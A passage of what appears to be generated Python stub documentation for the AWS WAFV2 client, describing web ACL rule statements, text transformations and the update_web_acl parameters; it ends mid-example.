0-9, or _). In addition, SearchString must be a word, which means that both of the following are true:\n\nSearchString is at the beginning of the specified part of the web request or is preceded by a character other than an alphanumeric character or underscore (_). Examples include the value of a header and ;BadBot .\nSearchString is at the end of the specified part of the web request or is followed by a character other than an alphanumeric character or underscore (_), for example, BadBot; and -BadBot; .\n\n\nEXACTLY\nThe value of the specified part of the web request must exactly match the value of SearchString .\n\nSTARTS_WITH\nThe value of SearchString must appear at the beginning of the specified part of the web request.\n\nENDS_WITH\nThe value of SearchString must appear at the end of the specified part of the web request.\n\n\n\nSqliMatchStatement (dict) --Attackers sometimes insert malicious SQL code into web requests in an effort to extract data from your database. To allow or block web requests that appear to contain malicious SQL code, create one or more SQL injection match conditions. An SQL injection match condition identifies the part of web requests, such as the URI or the query string, that you want AWS WAF to inspect. Later in the process, when you create a web ACL, you specify whether to allow or block requests that appear to contain malicious SQL code.\n\nFieldToMatch (dict) -- [REQUIRED]The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch .\n\nSingleHeader (dict) --Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive.\n\nName (string) -- [REQUIRED]The name of the query header to inspect.\n\n\n\nSingleQueryArgument (dict) --Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive.\nThis is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification.\n\nName (string) -- [REQUIRED]The name of the query argument to inspect.\n\n\n\nAllQueryArguments (dict) --Inspect all query arguments.\n\nUriPath (dict) --Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg .\n\nQueryString (dict) --Inspect the query string. This is the part of a URL that appears after a ? character, if any.\n\nBody (dict) --Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form.\nNote that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit.\n\nMethod (dict) --Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform.\n\n\n\nTextTransformations (list) -- [REQUIRED]Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nText transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection.\n\nPriority (integer) -- [REQUIRED]Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different.\n\nType (string) -- [REQUIRED]You can specify the following transformation types:\n\nCMD_LINE\nWhen you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations:\n\nDelete the following characters: ' \' ^\nDelete spaces before the following characters: / (\nReplace the following characters with a space: , ;\nReplace multiple spaces with one space\nConvert uppercase letters (A-Z) to lowercase (a-z)\n\n\nCOMPRESS_WHITE_SPACE\nUse this option to replace the following characters with a space character (decimal 32):\n\nf, formfeed, decimal 12\nt, tab, decimal 9\nn, newline, decimal 10\nr, carriage return, decimal 13\nv, vertical tab, decimal 11\nnon-breaking space, decimal 160\n\n\nCOMPRESS_WHITE_SPACE also replaces multiple spaces with one space.HTML_ENTITY_DECODE\n\nUse this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations:\n\nReplaces (ampersand)quot; with '\nReplaces (ampersand)nbsp; with a non-breaking space, decimal 160\nReplaces (ampersand)lt; with a 'less than' symbol\nReplaces (ampersand)gt; with >\nReplaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters\nReplaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters\n\n\nLOWERCASE\nUse this option to convert uppercase letters (A-Z) to lowercase (a-z).\n\nURL_DECODE\nUse this option to decode a URL-encoded value.\n\nNONE\nSpecify NONE if you don\'t want any text transformations.\n\n\n\n\n\n\n\nXssMatchStatement (dict) --A rule statement that defines a cross-site scripting (XSS) match search for AWS WAF to apply to web requests. XSS attacks are those where the attacker uses vulnerabilities in a benign website as a vehicle to inject malicious client-site scripts into other legitimate web browsers. The XSS match statement provides the location in requests that you want AWS WAF to search and text transformations to use on the search area before AWS WAF searches for character sequences that are likely to be malicious strings.\n\nFieldToMatch (dict) -- [REQUIRED]The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch .\n\nSingleHeader (dict) --Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive.\n\nName (string) -- [REQUIRED]The name of the query header to inspect.\n\n\n\nSingleQueryArgument (dict) --Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive.\nThis is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification.\n\nName (string) -- [REQUIRED]The name of the query argument to inspect.\n\n\n\nAllQueryArguments (dict) --Inspect all query arguments.\n\nUriPath (dict) --Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg .\n\nQueryString (dict) --Inspect the query string. This is the part of a URL that appears after a ? character, if any.\n\nBody (dict) --Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form.\nNote that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit.\n\nMethod (dict) --Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform.\n\n\n\nTextTransformations (list) -- [REQUIRED]Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nText transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection.\n\nPriority (integer) -- [REQUIRED]Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different.\n\nType (string) -- [REQUIRED]You can specify the following transformation types:\n\nCMD_LINE\nWhen you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations:\n\nDelete the following characters: ' \' ^\nDelete spaces before the following characters: / (\nReplace the following characters with a space: , ;\nReplace multiple spaces with one space\nConvert uppercase letters (A-Z) to lowercase (a-z)\n\n\nCOMPRESS_WHITE_SPACE\nUse this option to replace the following characters with a space character (decimal 32):\n\nf, formfeed, decimal 12\nt, tab, decimal 9\nn, newline, decimal 10\nr, carriage return, decimal 13\nv, vertical tab, decimal 11\nnon-breaking space, decimal 160\n\n\nCOMPRESS_WHITE_SPACE also replaces multiple spaces with one space.HTML_ENTITY_DECODE\n\nUse this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations:\n\nReplaces (ampersand)quot; with '\nReplaces (ampersand)nbsp; with a non-breaking space, decimal 160\nReplaces (ampersand)lt; with a 'less than' symbol\nReplaces (ampersand)gt; with >\nReplaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters\nReplaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters\n\n\nLOWERCASE\nUse this option to convert uppercase letters (A-Z) to lowercase (a-z).\n\nURL_DECODE\nUse this option to decode a URL-encoded value.\n\nNONE\nSpecify NONE if you don\'t want any text transformations.\n\n\n\n\n\n\n\nSizeConstraintStatement (dict) --A rule statement that compares a number of bytes against the size of a request component, using a comparison operator, such as greater than (>) or less than (<). For example, you can use a size constraint statement to look for query strings that are longer than 100 bytes.\nIf you configure AWS WAF to inspect the request body, AWS WAF inspects only the first 8192 bytes (8 KB). If the request body for your web requests never exceeds 8192 bytes, you can create a size constraint condition and block requests that have a request body greater than 8192 bytes.\nIf you choose URI for the value of Part of the request to filter on, the slash (/) in the URI counts as one character. For example, the URI /logo.jpg is nine characters long.\n\nFieldToMatch (dict) -- [REQUIRED]The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch .\n\nSingleHeader (dict) --Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive.\n\nName (string) -- [REQUIRED]The name of the query header to inspect.\n\n\n\nSingleQueryArgument (dict) --Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive.\nThis is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification.\n\nName (string) -- [REQUIRED]The name of the query argument to inspect.\n\n\n\nAllQueryArguments (dict) --Inspect all query arguments.\n\nUriPath (dict) --Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg .\n\nQueryString (dict) --Inspect the query string. This is the part of a URL that appears after a ? character, if any.\n\nBody (dict) --Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form.\nNote that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit.\n\nMethod (dict) --Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform.\n\n\n\nComparisonOperator (string) -- [REQUIRED]The operator to use to compare the request part to the size setting.\n\nSize (integer) -- [REQUIRED]The size, in byte, to compare to the request part, after any transformations.\n\nTextTransformations (list) -- [REQUIRED]Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nText transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection.\n\nPriority (integer) -- [REQUIRED]Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different.\n\nType (string) -- [REQUIRED]You can specify the following transformation types:\n\nCMD_LINE\nWhen you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations:\n\nDelete the following characters: ' \' ^\nDelete spaces before the following characters: / (\nReplace the following characters with a space: , ;\nReplace multiple spaces with one space\nConvert uppercase letters (A-Z) to lowercase (a-z)\n\n\nCOMPRESS_WHITE_SPACE\nUse this option to replace the following characters with a space character (decimal 32):\n\nf, formfeed, decimal 12\nt, tab, decimal 9\nn, newline, decimal 10\nr, carriage return, decimal 13\nv, vertical tab, decimal 11\nnon-breaking space, decimal 160\n\n\nCOMPRESS_WHITE_SPACE also replaces multiple spaces with one space.HTML_ENTITY_DECODE\n\nUse this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations:\n\nReplaces (ampersand)quot; with '\nReplaces (ampersand)nbsp; with a non-breaking space, decimal 160\nReplaces (ampersand)lt; with a 'less than' symbol\nReplaces (ampersand)gt; with >\nReplaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters\nReplaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters\n\n\nLOWERCASE\nUse this option to convert uppercase letters (A-Z) to lowercase (a-z).\n\nURL_DECODE\nUse this option to decode a URL-encoded value.\n\nNONE\nSpecify NONE if you don\'t want any text transformations.\n\n\n\n\n\n\n\nGeoMatchStatement (dict) --A rule statement used to identify web requests based on country of origin.\n\nCountryCodes (list) --An array of two-character country codes, for example, [ 'US', 'CN' ] , from the alpha-2 country ISO codes of the ISO 3166 international standard.\n\n(string) --\n\n\n\n\nRuleGroupReferenceStatement (dict) --A rule statement used to run the rules that are defined in a RuleGroup . To use this, create a rule group with your rules, then provide the ARN of the rule group in this statement.\nYou cannot nest a RuleGroupReferenceStatement , for example for use inside a NotStatement or OrStatement . It can only be referenced as a top-level statement within a rule.\n\nARN (string) -- [REQUIRED]The Amazon Resource Name (ARN) of the entity.\n\nExcludedRules (list) --The names of rules that are in the referenced rule group, but that you want AWS WAF to exclude from processing for this rule statement.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nSpecifies a single rule to exclude from the rule group. Excluding a rule overrides its action setting for the rule group in the web ACL, setting it to COUNT . This effectively excludes the rule from acting on web requests.\n\nName (string) -- [REQUIRED]The name of the rule to exclude.\n\n\n\n\n\n\n\nIPSetReferenceStatement (dict) --A rule statement used to detect web requests coming from particular IP addresses or address ranges. To use this, create an IPSet that specifies the addresses you want to detect, then use the ARN of that set in this statement. To create an IP set, see CreateIPSet .\nEach IP set rule statement references an IP set. You create and maintain the set independent of your rules. This allows you to use the single set in multiple rules. When you update the referenced set, AWS WAF automatically updates all rules that reference it.\n\nARN (string) -- [REQUIRED]The Amazon Resource Name (ARN) of the IPSet that this statement references.\n\n\n\nRegexPatternSetReferenceStatement (dict) --A rule statement used to search web request components for matches with regular expressions. To use this, create a RegexPatternSet that specifies the expressions that you want to detect, then use the ARN of that set in this statement. A web request matches the pattern set rule statement if the request component matches any of the patterns in the set. To create a regex pattern set, see CreateRegexPatternSet .\nEach regex pattern set rule statement references a regex pattern set. You create and maintain the set independent of your rules. This allows you to use the single set in multiple rules. When you update the referenced set, AWS WAF automatically updates all rules that reference it.\n\nARN (string) -- [REQUIRED]The Amazon Resource Name (ARN) of the RegexPatternSet that this statement references.\n\nFieldToMatch (dict) -- [REQUIRED]The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch .\n\nSingleHeader (dict) --Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive.\n\nName (string) -- [REQUIRED]The name of the query header to inspect.\n\n\n\nSingleQueryArgument (dict) --Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive.\nThis is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification.\n\nName (string) -- [REQUIRED]The name of the query argument to inspect.\n\n\n\nAllQueryArguments (dict) --Inspect all query arguments.\n\nUriPath (dict) --Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg .\n\nQueryString (dict) --Inspect the query string. This is the part of a URL that appears after a ? character, if any.\n\nBody (dict) --Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form.\nNote that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit.\n\nMethod (dict) --Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform.\n\n\n\nTextTransformations (list) -- [REQUIRED]Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nText transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection.\n\nPriority (integer) -- [REQUIRED]Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different.\n\nType (string) -- [REQUIRED]You can specify the following transformation types:\n\nCMD_LINE\nWhen you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations:\n\nDelete the following characters: ' \' ^\nDelete spaces before the following characters: / (\nReplace the following characters with a space: , ;\nReplace multiple spaces with one space\nConvert uppercase letters (A-Z) to lowercase (a-z)\n\n\nCOMPRESS_WHITE_SPACE\nUse this option to replace the following characters with a space character (decimal 32):\n\nf, formfeed, decimal 12\nt, tab, decimal 9\nn, newline, decimal 10\nr, carriage return, decimal 13\nv, vertical tab, decimal 11\nnon-breaking space, decimal 160\n\n\nCOMPRESS_WHITE_SPACE also replaces multiple spaces with one space.HTML_ENTITY_DECODE\n\nUse this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations:\n\nReplaces (ampersand)quot; with '\nReplaces (ampersand)nbsp; with a non-breaking space, decimal 160\nReplaces (ampersand)lt; with a 'less than' symbol\nReplaces (ampersand)gt; with >\nReplaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters\nReplaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters\n\n\nLOWERCASE\nUse this option to convert uppercase letters (A-Z) to lowercase (a-z).\n\nURL_DECODE\nUse this option to decode a URL-encoded value.\n\nNONE\nSpecify NONE if you don\'t want any text transformations.\n\n\n\n\n\n\n\nRateBasedStatement (dict) --A rate-based rule tracks the rate of requests for each originating IP address, and triggers the rule action when the rate exceeds a limit that you specify on the number of requests in any 5-minute time span. You can use this to put a temporary block on requests from an IP address that is sending excessive requests.\nWhen the rule action triggers, AWS WAF blocks additional requests from the IP address until the request rate falls below the limit.\nYou can optionally nest another statement inside the rate-based statement, to narrow the scope of the rule so that it only counts requests that match the nested statement. For example, based on recent requests that you have seen from an attacker, you might create a rate-based rule with a nested AND rule statement that contains the following nested statements:\n\nAn IP match statement with an IP set that specified the address 192.0.2.44.\nA string match statement that searches in the User-Agent header for the string BadBot.\n\nIn this rate-based rule, you also define a rate limit. For this example, the rate limit is 1,000. Requests that meet both of the conditions in the statements are counted. If the count exceeds 1,000 requests per five minutes, the rule action triggers. Requests that do not meet both conditions are not counted towards the rate limit and are not affected by this rule.\nYou cannot nest a RateBasedStatement , for example for use inside a NotStatement or OrStatement . It can only be referenced as a top-level statement within a rule.\n\nLimit (integer) -- [REQUIRED]The limit on requests per 5-minute period for a single originating IP address. If the statement includes a ScopDownStatement , this limit is applied only to the requests that match the statement.\n\nAggregateKeyType (string) -- [REQUIRED]Setting that indicates how to aggregate the request counts. Currently, you must set this to IP . The request counts are aggregated on IP addresses.\n\nScopeDownStatement (dict) --An optional nested statement that narrows the scope of the rate-based statement to matching web requests. This can be any nestable statement, and you can nest statements at any level below this scope-down statement.\n\n\n\nAndStatement (dict) --A logical rule statement used to combine other rule statements with AND logic. You provide more than one Statement within the AndStatement .\n\nStatements (list) -- [REQUIRED]The statements to combine with AND logic. You can use any statements that can be nested.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nThe processing guidance for a Rule , used by AWS WAF to determine whether a web request matches the rule.\n\n\n\n\n\nOrStatement (dict) --A logical rule statement used to combine other rule statements with OR logic. You provide more than one Statement within the OrStatement .\n\nStatements (list) -- [REQUIRED]The statements to combine with OR logic. You can use any statements that can be nested.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nThe processing guidance for a Rule , used by AWS WAF to determine whether a web request matches the rule.\n\n\n\n\n\nNotStatement (dict) --A logical rule statement used to negate the results of another rule statement. You provide one Statement within the NotStatement .\n\nStatement (dict) --The statement to negate. You can use any statement that can be nested.\n\n\n\nManagedRuleGroupStatement (dict) --A rule statement used to run the rules that are defined in a managed rule group. To use this, provide the vendor name and the name of the rule group in this statement. You can retrieve the required names by calling ListAvailableManagedRuleGroups .\nYou can\'t nest a ManagedRuleGroupStatement , for example for use inside a NotStatement or OrStatement . It can only be referenced as a top-level statement within a rule.\n\nVendorName (string) -- [REQUIRED]The name of the managed rule group vendor. You use this, along with the rule group name, to identify the rule group.\n\nName (string) -- [REQUIRED]The name of the managed rule group. You use this, along with the vendor name, to identify the rule group.\n\nExcludedRules (list) --The rules whose actions are set to COUNT by the web ACL, regardless of the action that is set on the rule. This effectively excludes the rule from acting on web requests.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nSpecifies a single rule to exclude from the rule group. Excluding a rule overrides its action setting for the rule group in the web ACL, setting it to COUNT . This effectively excludes the rule from acting on web requests.\n\nName (string) -- [REQUIRED]The name of the rule to exclude.\n\n\n\n\n\n\n\n\n\nAction (dict) --The action that AWS WAF should take on a web request when it matches the rule statement. Settings at the web ACL level can override the rule action setting.\nThis is used only for rules whose statements do not reference a rule group. Rule statements that reference a rule group include RuleGroupReferenceStatement and ManagedRuleGroupStatement .\nYou must specify either this Action setting or the rule OverrideAction setting, but not both:\n\nIf the rule statement does not reference a rule group, use this rule action setting and not the rule override action setting.\nIf the rule statement references a rule group, use the override action setting and not this action setting.\n\n\nBlock (dict) --Instructs AWS WAF to block the web request.\n\nAllow (dict) --Instructs AWS WAF to allow the web request.\n\nCount (dict) --Instructs AWS WAF to count the web request and allow it.\n\n\n\nOverrideAction (dict) --The override action to apply to the rules in a rule group. Used only for rule statements that reference a rule group, like RuleGroupReferenceStatement and ManagedRuleGroupStatement .\nSet the override action to none to leave the rule actions in effect. Set it to count to only count matches, regardless of the rule action settings.\nIn a Rule , you must specify either this OverrideAction setting or the rule Action setting, but not both:\n\nIf the rule statement references a rule group, use this override action setting and not the action setting.\nIf the rule statement does not reference a rule group, use the rule action setting and not this rule override action setting.\n\n\nCount (dict) --Override the rule action setting to count.\n\nNone (dict) --Don\'t override the rule action setting.\n\n\n\nVisibilityConfig (dict) -- [REQUIRED]Defines and enables Amazon CloudWatch metrics and web request sample collection.\n\nSampledRequestsEnabled (boolean) -- [REQUIRED]A boolean indicating whether AWS WAF should store a sampling of the web requests that match the rules. You can view the sampled requests through the AWS WAF console.\n\nCloudWatchMetricsEnabled (boolean) -- [REQUIRED]A boolean indicating whether the associated resource sends metrics to CloudWatch. For the list of available metrics, see AWS WAF Metrics .\n\nMetricName (string) -- [REQUIRED]A name of the CloudWatch metric. The name can contain only alphanumeric characters (A-Z, a-z, 0-9), with length from one to 128 characters. It can\'t contain whitespace or metric names reserved for AWS WAF, for example 'All' and 'Default_Action.' You can\'t change a MetricName after you create a VisibilityConfig .\n\n\n\n\n\n\n :type VisibilityConfig: dict :param VisibilityConfig: [REQUIRED]\nDefines and enables Amazon CloudWatch metrics and web request sample collection.\n\nSampledRequestsEnabled (boolean) -- [REQUIRED]A boolean indicating whether AWS WAF should store a sampling of the web requests that match the rules. You can view the sampled requests through the AWS WAF console.\n\nCloudWatchMetricsEnabled (boolean) -- [REQUIRED]A boolean indicating whether the associated resource sends metrics to CloudWatch. For the list of available metrics, see AWS WAF Metrics .\n\nMetricName (string) -- [REQUIRED]A name of the CloudWatch metric. The name can contain only alphanumeric characters (A-Z, a-z, 0-9), with length from one to 128 characters. It can\'t contain whitespace or metric names reserved for AWS WAF, for example 'All' and 'Default_Action.' You can\'t change a MetricName after you create a VisibilityConfig .\n\n\n :type LockToken: string :param LockToken: [REQUIRED]\nA token used for optimistic locking. AWS WAF returns a token to your get and list requests, to mark the state of the entity at the time of the request. To make changes to the entity associated with the token, you provide the token to operations like update and delete. AWS WAF uses the token to ensure that no changes have been made to the entity since you last retrieved it. If a change has been made, the update fails with a WAFOptimisticLockException . If this happens, perform another get, and use the new token returned by that operation.\n :rtype: dict ReturnsResponse Syntax { 'NextLockToken': 'string' } Response Structure (dict) -- NextLockToken (string) -- A token used for optimistic locking. AWS WAF returns this token to your update requests. You use NextLockToken in the same manner as you use LockToken . Exceptions WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFDuplicateItemException WAFV2.Client.exceptions.WAFOptimisticLockException WAFV2.Client.exceptions.WAFLimitsExceededException WAFV2.Client.exceptions.WAFUnavailableEntityException WAFV2.Client.exceptions.WAFSubscriptionNotFoundException WAFV2.Client.exceptions.WAFInvalidOperationException :return: { 'NextLockToken': 'string' } :returns: WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFDuplicateItemException WAFV2.Client.exceptions.WAFOptimisticLockException WAFV2.Client.exceptions.WAFLimitsExceededException WAFV2.Client.exceptions.WAFUnavailableEntityException WAFV2.Client.exceptions.WAFSubscriptionNotFoundException WAFV2.Client.exceptions.WAFInvalidOperationException """ pass def update_web_acl(Name=None, Scope=None, Id=None, DefaultAction=None, Description=None, Rules=None, VisibilityConfig=None, LockToken=None): """ Updates the specified WebACL . A Web ACL defines a collection of rules to use to inspect and control web requests. Each rule has an action defined (allow, block, or count) for requests that match the statement of the rule. In the Web ACL, you assign a default action to take (allow, block) for any request that does not match any of the rules. The rules in a Web ACL can be a combination of the types Rule , RuleGroup , and managed rule group. You can associate a Web ACL with one or more AWS resources to protect. The resources can be Amazon CloudFront, an Amazon API Gateway API, or an Application Load Balancer. See also: AWS API Documentation Exceptions :example: response = client.update_web_acl( Name='string', Scope='CLOUDFRONT'|'REGIONAL', Id='string', DefaultAction={ 'Block': {} , 'Allow': {} }, Description='string', Rules=[ { 'Name': 'string', 'Priority': 123, 'Statement': { 'ByteMatchStatement': { 'SearchString': b'bytes', 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {} , 'UriPath': {} , 'QueryString': {} , 'Body': {} , 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ], 'PositionalConstraint': 'EXACTLY'|'STARTS_WITH'|'ENDS_WITH'|'CONTAINS'|'CONTAINS_WORD' }, 'SqliMatchStatement': { 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {} , 'UriPath': {} , 'QueryString': {} , 'Body': {} , 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'XssMatchStatement': { 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {} , 'UriPath': {} , 'QueryString': {} , 'Body': {} , 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'SizeConstraintStatement': { 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {} , 'UriPath': {} , 'QueryString': {} , 'Body': {} , 'Method': {} }, 'ComparisonOperator': 'EQ'|'NE'|'LE'|'LT'|'GE'|'GT', 'Size': 123, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'GeoMatchStatement': { 'CountryCodes': [ 